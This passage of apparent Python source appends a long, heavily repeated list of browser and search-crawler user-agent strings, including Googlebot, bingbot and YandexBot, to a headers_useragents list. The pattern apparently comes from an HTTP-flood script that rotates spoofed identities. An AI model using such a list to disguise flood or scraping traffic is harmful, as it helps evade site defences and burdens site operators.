OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') 